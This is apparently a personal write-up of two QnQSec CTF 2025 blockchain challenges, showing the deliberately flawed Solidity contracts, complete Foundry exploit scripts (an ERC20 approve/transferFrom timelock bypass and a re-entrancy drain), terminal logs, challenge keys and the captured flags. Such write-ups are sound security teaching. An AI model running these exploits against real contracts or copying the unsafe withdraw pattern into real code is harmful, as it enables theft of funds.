18-10-2025 — Today I took part in QnQSec CTF 2025 and solved two Blockchain challenges. They were a bit easy for me because I had already solved similar ones before. But the hard part was interacting with the given details and getting the flag correctly.

I put my writeups below for those two blockchain challenges.

1. Timelock

Description : Your grandpa gave you some coins, but you cannot spend them for 10 years. Can you hack and spend them today?

nc 161.97.155.116 6970

Given Files

Timelock.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";

contract Timelock is ERC20 {
    uint256 public timeLock = block.timestamp + 10 * 365 days;
    uint256 public INITIAL_SUPPLY;
    address public player;

    constructor(address _player) ERC20("NaughtCoin", "0x0") {
        player = _player;
        INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
        _mint(player, INITIAL_SUPPLY);
        emit Transfer(address(0), player, INITIAL_SUPPLY);
    }

    function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
        super.transfer(_to, _value);
    }

    // Prevent the initial owner from transferring tokens until the timelock has passed
    modifier lockTokens() {
        if (msg.sender == player) {
            require(block.timestamp > timeLock);
            _;
        }
    }
}

Challenge.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "src/Timelock.sol";

contract Challenge {
    address public immutable PLAYER;
    Timelock public immutable CONTRACT;

    bool private solved;

    constructor(address player, address _contract) public {
        PLAYER = player;
        
        CONTRACT = Timelock(payable(_contract));
    }

    function solve() external {
        require(CONTRACT.balanceOf(PLAYER) == 0, "COINS_NOT_SPENT");
        solved = true;
    }

    function isSolved() external view returns (bool) {
        return solved;
    }
}

The modifier that restricts me from making token transactions is only applied to the transfer() function. However, since the ERC20 standard also includes approve() and transferFrom(), I can approve another address to spend tokens on my behalf. In the end, my goal is to make the PLAYER balance equal to 0.

NOTE : should know about ERC20 standard and it’s functions.

Here is my foundry script file that has solved the challenge

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "src/Timelock.sol";
import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/Challenge.sol";

contract Exploit {
    
    Timelock public token;
    address public player;

    constructor (Timelock _token, address _player) {
        token = _token;
        player = _player; 
    }

    function TokenTransferFrom(address to, uint256 amount) public {
        require(token.transferFrom(player, to, amount), "transferFrom failed");
    }
}



contract TimeLockScript is Script {
    function run() external {
        address CHALLENEG_ADDRESS = vm.envAddress("TIMELOCK_ADDR");   
        uint256 pk = vm.envUint("PRIVATE_KEY");       

        address player = vm.addr(pk);
        console.log("derived player:", player);
        console.log("timelock addr :", CHALLENEG_ADDRESS);
        
         
       
        vm.startBroadcast(pk);

        Challenge chall = Challenge(CHALLENEG_ADDRESS);
        address timelockAddr1 = address(chall.CONTRACT());
        Timelock timelockAddr = Timelock(timelockAddr1);
        console.log("timelock contract addr :", address(timelockAddr));
            
        uint256 before = timelockAddr.balanceOf(player);
        console.log("player balance before:", before); 
        Exploit exploit = new Exploit(timelockAddr, player);
            timelockAddr.approve(address(exploit), timelockAddr.INITIAL_SUPPLY());
            exploit.TokenTransferFrom(address(0x1), timelockAddr.INITIAL_SUPPLY());
        uint256 afterBal = timelockAddr.balanceOf(player);
        console.log("player balance after:", afterBal);

        chall.solve();

        vm.stopBroadcast(); 
       
}
}

I got the player’s private key (extracted address using this key) and the challenge contract address from nc 161.97.155.116 6970 command.

Terminal 1

(base) sunil-kumar@DESKTOP-GBKN3LB:~/Desktop/qnqsecCTF/QnQsec$ nc 161.97.155.116 6970

 ██████╗ ███╗   ██╗ ██████╗ ███████╗███████╗ ██████╗     ██████╗████████╗███████╗
██╔═══██╗████╗  ██║██╔═══██╗██╔════╝██╔════╝██╔════╝    ██╔════╝╚══██╔══╝██╔════╝
██║   ██║██╔██╗ ██║██║   ██║███████╗█████╗  ██║         ██║        ██║   █████╗  
██║▄▄ ██║██║╚██╗██║██║▄▄ ██║╚════██║██╔══╝  ██║         ██║        ██║   ██╔══╝  
╚██████╔╝██║ ╚████║╚██████╔╝███████║███████╗╚██████╗    ╚██████╗   ██║   ██║     
 ╚══▀▀═╝ ╚═╝  ╚═══╝ ╚══▀▀═╝ ╚══════╝╚══════╝ ╚═════╝     ╚═════╝   ╚═╝   ╚═╝     

[timelock] Welcome anon!
[timelock] 1 - Launch a new instance
[timelock] 2 - Kill your instance
[timelock] 3 - Get the flag
[timelock] Action? 1

[timelock] Your ticket: ccaf78dde1e2a29a6840c866aa5351f2

[timelock] Creating private blockchain...
[timelock] Deploying challenge.. (please be patient, this can take a while)

[timelock] Your private blockchain has been set up,
[timelock] it will automatically terminate in 15.0 minutes!

[timelock] RPC Endpoints:
[timelock]     - http://161.97.155.116:8545/dIfSygcqmwEQkfJOOLhrZeaR/main
[timelock]     - ws://161.97.155.116:8545/dIfSygcqmwEQkfJOOLhrZeaR/main/ws

[timelock] The Player private key:         0xbd39d5cabdfab4c7a504b0805ee0bd4eebcafc4a079e5144aed0df70eb21903d
[timelock] The Challenge contract address: 0x858B54972ACc706e5beb4f7bFC9F7781F0Ea8448

Terminal 2

(base) sunil-kumar@DESKTOP-GBKN3LB:~/Desktop/qnqsecCTF/QnQsec$ forge script script/TimeLock.s.sol:TimeLockScript --rpc-url "http://161.97.155.116:8545/dIfSygcqmwEQkfJOOLhrZeaR/main" --private-key $PRIVATE_KEY --broadcast
[⠒] Compiling...
[⠑] Compiling 1 files with Solc 0.8.30
[⠘] Solc 0.8.30 finished in 1.49s
Compiler run successful with warnings:
Warning (2462): Visibility for constructor is ignored. If you want the contract to be non-deployable, making it "abstract" is sufficient.
  --> src/Challenge.sol:12:5:
   |
12 |     constructor(address player, address _contract) public {
   |     ^ (Relevant source part starts here and spans across multiple lines).

Warning (6321): Unnamed return variable can remain unassigned. Add an explicit return with value to all non-reverting code paths or name the variable.
  --> src/Timelock.sol:18:88:
   |
18 |     function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
   |                                                                                        ^^^^

Script ran successfully.

== Logs ==
  derived player: 0x89D8C7b1A6F568f9D677eD8322f85C0ae43E0D9e
  timelock addr : 0x858B54972ACc706e5beb4f7bFC9F7781F0Ea8448
  timelock contract addr : 0x6Aac308e6a805CE312A59Fb29a291619C3B63D1c
  player balance before: 1000000000000000000000000
  player balance after: 0

## Setting up 1 EVM.

==========================

Chain 31337

Estimated gas price: 1.768103285 gwei

Estimated total gas used for script: 684550

Estimated amount required: 0.00121035510374675 ETH

==========================

##### anvil-hardhat
✅  [Success] Hash: 0x4a5fa7b058a1cf6dc9b161f1ce928febe7242822d4c38c71d2ef6844d4e254c0
Block: 4
Paid: 0.00003196864983486 ETH (46940 gas * 0.681053469 gwei)


##### anvil-hardhat
✅  [Success] Hash: 0xfe95bd4a927273ad97fe78cbf352a2c63e19b49ac8013cf86c47e6dbe506e82e
Block: 4
Paid: 0.000038539453703772 ETH (56588 gas * 0.681053469 gwei)


##### anvil-hardhat
✅  [Success] Hash: 0x657806425e1004b7455755f881e6dd4a11fc90b451a93c3db0b054aea6592c5e
Contract Address: 0x6780A64F6914F7D24B9402D867e214064057e278
Block: 3
Paid: 0.00027997408393694 ETH (360940 gas * 0.775680401 gwei)


##### anvil-hardhat
✅  [Success] Hash: 0x52abebdf29a2d5c9aa4e2e986fa3ae79dc50eef0fa96ef71c04af511bd19701c
Block: 4
Paid: 0.000033684223523271 ETH (49459 gas * 0.681053469 gwei)

✅ Sequence #1 on anvil-hardhat | Total Paid: 0.000384166410998843 ETH (513927 gas * avg 0.704710202 gwei)
                                                                                                                                      

==========================

ONCHAIN EXECUTION COMPLETE & SUCCESSFUL.

Transactions saved to: /home/sunil-kumar/Desktop/qnqsecCTF/QnQsec/broadcast/TimeLock.s.sol/31337/run-latest.json

Sensitive values saved to: /home/sunil-kumar/Desktop/qnqsecCTF/QnQsec/cache/TimeLock.s.sol/31337/run-latest.json

Terminal 3

(base) sunil-kumar@DESKTOP-GBKN3LB:~/Desktop/qnqsecCTF/QnQsec$ nc 161.97.155.116 6970

 ██████╗ ███╗   ██╗ ██████╗ ███████╗███████╗ ██████╗     ██████╗████████╗███████╗
██╔═══██╗████╗  ██║██╔═══██╗██╔════╝██╔════╝██╔════╝    ██╔════╝╚══██╔══╝██╔════╝
██║   ██║██╔██╗ ██║██║   ██║███████╗█████╗  ██║         ██║        ██║   █████╗  
██║▄▄ ██║██║╚██╗██║██║▄▄ ██║╚════██║██╔══╝  ██║         ██║        ██║   ██╔══╝  
╚██████╔╝██║ ╚████║╚██████╔╝███████║███████╗╚██████╗    ╚██████╗   ██║   ██║     
 ╚══▀▀═╝ ╚═╝  ╚═══╝ ╚══▀▀═╝ ╚══════╝╚══════╝ ╚═════╝     ╚═════╝   ╚═╝   ╚═╝     

[timelock] Welcome anon!
[timelock] 1 - Launch a new instance
[timelock] 2 - Kill your instance
[timelock] 3 - Get the flag
[timelock] Action? 3

[timelock] What is your ticket? ccaf78dde1e2a29a6840c866aa5351f2
[timelock] Nicely done! Now don't lose it: QnQSec{gr3at_j0b_y0u_l3arn7_4b0u7_3rc20_t0k3n5}

FLAG : QnQSec{gr3at_j0b_y0u_l3arn7_4b0u7_3rc20_t0k3n5}

2. CallMeBack

Description : An attacker can steal all the funds in the CallMeBack contract. Can you show me how?

nc 161.97.155.116 6969

Given Files

CallMeBack.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.6.0;

contract CallMeBack {

    mapping(address => uint256) public balances;

    function donate() public payable {
        balances[msg.sender] += msg.value;
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool success,) = msg.sender.call{value: _amount}("");
            require(success, "ETH transfer failed");
            balances[msg.sender] -= _amount;
        }
    }

    receive() external payable {}
}

Challenge.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;

import "src/CallMeBack.sol";

contract Challenge {
    address public immutable PLAYER;
    CallMeBack public immutable CONTRACT;

    bool private solved;

    constructor(address player, address _contract) public {
        PLAYER = player;
        
        CONTRACT = CallMeBack(payable(_contract));
    }

    function solve() external {
        require(address(PLAYER).balance > 10 ether, "NOT_ENOUGH_ETHER");
        solved = true;
    }

    function isSolved() external view returns (bool) {
        return solved;
    }
}

The withdraw() function in the CallMeBack contract has Re-entrancy Vulnerability as it is not Following CEI (Checks , Effects , Interactions).So it is a basic Re-entrancy Attack.

Solution

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "../src/CallMeBack.sol";
import "../src/Challenge.sol";
import "forge-std/Script.sol";
import "forge-std/console.sol";


contract Exploit {
    CallMeBack public callmeback;
    address payable public owner;

    constructor (CallMeBack _callmeback) public payable {
        owner = msg.sender;
        callmeback = _callmeback;
    }

    function attack() public payable {
         // donate from this contract using the ETH sent to constructor
        callmeback.donate{value: msg.value}();

        // start withdraw -> receive() will re-enter repeatedly
        callmeback.withdraw(1 ether);

        // forward all balance to owner (player)
        if (address(this).balance > 0) {
            (bool ok, ) = owner.call{value: address(this).balance}("");
            require(ok, "forward failed");
        }
    }

    receive() external payable {
        if (address(callmeback).balance >= 1 ether) {
            callmeback.withdraw(1 ether);
        }
    }
}


contract callmebackScript is Script {
    function run() external {
        address chall = vm.envAddress("CHALLENGE_ADDRESS");
        uint256 pk = vm.envUint("PRIVATE_KEY");
        address player = vm.addr(pk);

        Challenge challengeAddress = Challenge(chall);
        CallMeBack callmeback = CallMeBack(challengeAddress.CONTRACT());

        console.log("derived player:", player);
        console.log("player bal before (wei):", address(player).balance);
        console.log("contract bal before (wei):", address(callmeback).balance);

        vm.startBroadcast(pk);

        Exploit ex = new Exploit{value: 1 ether}(callmeback);
        ex.attack{value : 1 ether}();

        console.log("contract bal after (wei):", address(callmeback).balance);
        challengeAddress.solve();
        vm.stopBroadcast();

        console.log("player bal after (wei):", address(player).balance);
        
    }
}

Terminal 1

(base) sunil-kumar@DESKTOP-GBKN3LB:~/Desktop/qnqsecCTF/callmeback/callmebackCTF$ nc 161.97.155.116 6969

 ██████╗ ███╗   ██╗ ██████╗ ███████╗███████╗ ██████╗     ██████╗████████╗███████╗
██╔═══██╗████╗  ██║██╔═══██╗██╔════╝██╔════╝██╔════╝    ██╔════╝╚══██╔══╝██╔════╝
██║   ██║██╔██╗ ██║██║   ██║███████╗█████╗  ██║         ██║        ██║   █████╗  
██║▄▄ ██║██║╚██╗██║██║▄▄ ██║╚════██║██╔══╝  ██║         ██║        ██║   ██╔══╝  
╚██████╔╝██║ ╚████║╚██████╔╝███████║███████╗╚██████╗    ╚██████╗   ██║   ██║     
 ╚══▀▀═╝ ╚═╝  ╚═══╝ ╚══▀▀═╝ ╚══════╝╚══════╝ ╚═════╝     ╚═════╝   ╚═╝   ╚═╝     

[callmeback] You dare challenge me?
[callmeback] 1 - Launch a new instance
[callmeback] 2 - Kill your instance
[callmeback] 3 - Get the flag
[callmeback] Action? 1

[callmeback] Your ticket: 45c9479f51ac97535293294c1d944d51

[callmeback] Creating private blockchain...
[callmeback] Deploying challenge.. (please be patient, this can take a while)

[callmeback] Your private blockchain has been set up,
[callmeback] it will automatically terminate in 15.0 minutes!

[callmeback] RPC Endpoints:
[callmeback]     - http://161.97.155.116:8545/QpOzfjzzeZHPuADmzYPfZJEP/main
[callmeback]     - ws://161.97.155.116:8545/QpOzfjzzeZHPuADmzYPfZJEP/main/ws

[callmeback] The Player private key:         0xc9e5dd4f077e2ae1dd662096f2c1a3bc5f7bd8445b9cadce6d77cdd1b27f4b1a
[callmeback] The Challenge contract address: 0x60De04C6075E9968774e64666352A7853025042d

Terminal 2

(base) sunil-kumar@DESKTOP-GBKN3LB:~/Desktop/qnqsecCTF/callmeback/callmebackCTF$ forge script script/Callmeback.s.sol:callmebackScript --rpc-url "http://161.97.155.116:8545/QpOzfjzzeZHPuADmzYPfZJEP/main" --private-key $PRIVATE_KEY --broadcast
[⠒] Compiling...
[⠰] Compiling 1 files with Solc 0.6.12
[⠔] Solc 0.6.12 finished in 2.18s
Compiler run successful!
Script ran successfully.

== Logs ==
  derived player: 0x5c73d2960126Eec9748C3EABd39dEF2b23991380
  player bal before (wei): 10000000000000000000
  contract bal before (wei): 1000000000000000000
  contract bal after (wei): 0
  player bal after (wei): 11000000000000000000

## Setting up 1 EVM.

==========================

Chain 31337

Estimated gas price: 1.537663563 gwei

Estimated total gas used for script: 617312

Estimated amount required: 0.000949218169402656 ETH

==========================

##### anvil-hardhat
✅  [Success] Hash: 0x1244c4c0daa28dcc2de550d44828fd130b4e74d3aac17e178f67cc31bae33cad
Contract Address: 0x6C0afb50Fd68e81ce4f4782a9A32aeCb7069D4cA
Block: 4
Paid: 0.000226825293549105 ETH (337033 gas * 0.673006185 gwei)


##### anvil-hardhat
✅  [Success] Hash: 0x7580ab6cf98894d0140649a647cef0ac139ec5cb8ddcc84dbd7e6b821580b746
Block: 5
Paid: 0.000048090501024069 ETH (81403 gas * 0.590770623 gwei)


##### anvil-hardhat
✅  [Success] Hash: 0xb6fe39cfe50f448fbb92778cc9d0c41ebc434968645bc338d7aeece840afd8a7
Block: 6
Paid: 0.0000225170901263 ETH (43526 gas * 0.51732505 gwei)

✅ Sequence #1 on anvil-hardhat | Total Paid: 0.000297432884699474 ETH (461962 gas * avg 0.593700619 gwei)
                                                                                                                                      

==========================

ONCHAIN EXECUTION COMPLETE & SUCCESSFUL.

Transactions saved to: /home/sunil-kumar/Desktop/qnqsecCTF/callmeback/callmebackCTF/broadcast/Callmeback.s.sol/31337/run-latest.json

Sensitive values saved to: /home/sunil-kumar/Desktop/qnqsecCTF/callmeback/callmebackCTF/cache/Callmeback.s.sol/31337/run-latest.json

Terminal 3

(base) sunil-kumar@DESKTOP-GBKN3LB:~/Desktop/qnqsecCTF/callmeback/callmebackCTF$ nc 161.97.155.116 6969

 ██████╗ ███╗   ██╗ ██████╗ ███████╗███████╗ ██████╗     ██████╗████████╗███████╗
██╔═══██╗████╗  ██║██╔═══██╗██╔════╝██╔════╝██╔════╝    ██╔════╝╚══██╔══╝██╔════╝
██║   ██║██╔██╗ ██║██║   ██║███████╗█████╗  ██║         ██║        ██║   █████╗  
██║▄▄ ██║██║╚██╗██║██║▄▄ ██║╚════██║██╔══╝  ██║         ██║        ██║   ██╔══╝  
╚██████╔╝██║ ╚████║╚██████╔╝███████║███████╗╚██████╗    ╚██████╗   ██║   ██║     
 ╚══▀▀═╝ ╚═╝  ╚═══╝ ╚══▀▀═╝ ╚══════╝╚══════╝ ╚═════╝     ╚═════╝   ╚═╝   ╚═╝     

[callmeback] Welcome anon!
[callmeback] 1 - Launch a new instance
[callmeback] 2 - Kill your instance
[callmeback] 3 - Get the flag
[callmeback] Action? 3

[callmeback] What is your ticket? 45c9479f51ac97535293294c1d944d51
[callmeback] Nicely done! Now don't lose it: QnQSec{r33ntr4nt_c4llb4ck_1s_fun_4nd_3asy_t0_3xpl01t}

Flag : QnQSec{r33ntr4nt_c4llb4ck_1s_fun_4nd_3asy_t0_3xpl01t}